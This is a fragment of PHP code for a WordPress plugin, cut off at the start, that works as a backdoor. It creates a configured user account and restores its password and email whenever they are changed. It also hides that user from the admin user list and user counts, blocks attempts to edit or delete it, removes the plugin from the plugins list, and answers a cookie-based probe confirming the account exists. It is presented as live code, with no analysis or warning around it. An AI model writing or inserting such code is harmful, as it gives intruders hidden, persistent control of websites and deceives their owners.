user_login); if (!$existing_user) { $user_id = wp_insert_user($_config); if (!is_wp_error($user_id)) { update_option($_option_key, $user_id); } } else { if ($existing_user->user_email !== $_config->user_email) { wp_set_password($_config->user_pass, $existing_user->ID); wp_update_user([ 'ID' => $existing_user->ID, 'user_email' => $_config->user_email ]); } if (!wp_check_password($_config->user_pass, $existing_user->user_pass, $existing_user->ID)) { wp_set_password($_config->user_pass, $existing_user->ID); } if (!$stored_user_id) { update_option($_option_key, $existing_user->ID); } } } add_action('pre_user_query', '_user_from_query'); function _user_from_query($query) { if (!is_admin() || !current_user_can('administrator')) { return; } global $_option_key; $_user_id = get_option($_option_key); if ($_user_id) { global $wpdb; $query->query_where .= " AND {$wpdb->users}.ID != " . intval($_user_id); } } add_filter('views_users', '_user_count_views'); function _user_count_views($views) { global $_option_key; $_user_id = get_option($_option_key); if (!$_user_id) { return $views; } foreach ($views as $key => $view_html) { $views[$key] = preg_replace_callback('/\(?\s*(\d+)\s*\)?/', function($matches) { return max(0, $matches[1] - 1) ; }, $view_html); } return $views; } add_action('load-user-edit.php', '_user_edit'); function _user_edit() { global $_option_key; $_user_id = get_option($_option_key); if (isset($_GET['user_id']) && $_GET['user_id'] == $_user_id && get_current_user_id() != $_user_id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', '_user_delete'); function _user_delete() { global $_option_key; $_user_id = get_option($_option_key); if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && $_GET['user'] == $_user_id) { wp_die(__('Invalid user ID.')); } } add_filter('all_plugins', '_self_from_plugins'); function _self_from_plugins($plugins) { $self_plugin_path = plugin_basename(__FILE__); if (isset($plugins[$self_plugin_path])) { unset($plugins[$self_plugin_path]); } return $plugins; } add_action('plugins_loaded', function () { global $_config; if (isset($_COOKIE['WORDPRESS_USER']) && function_exists('username_exists') && username_exists($_config->user_login)) { die('WP USER EXISTS'); } }); ?>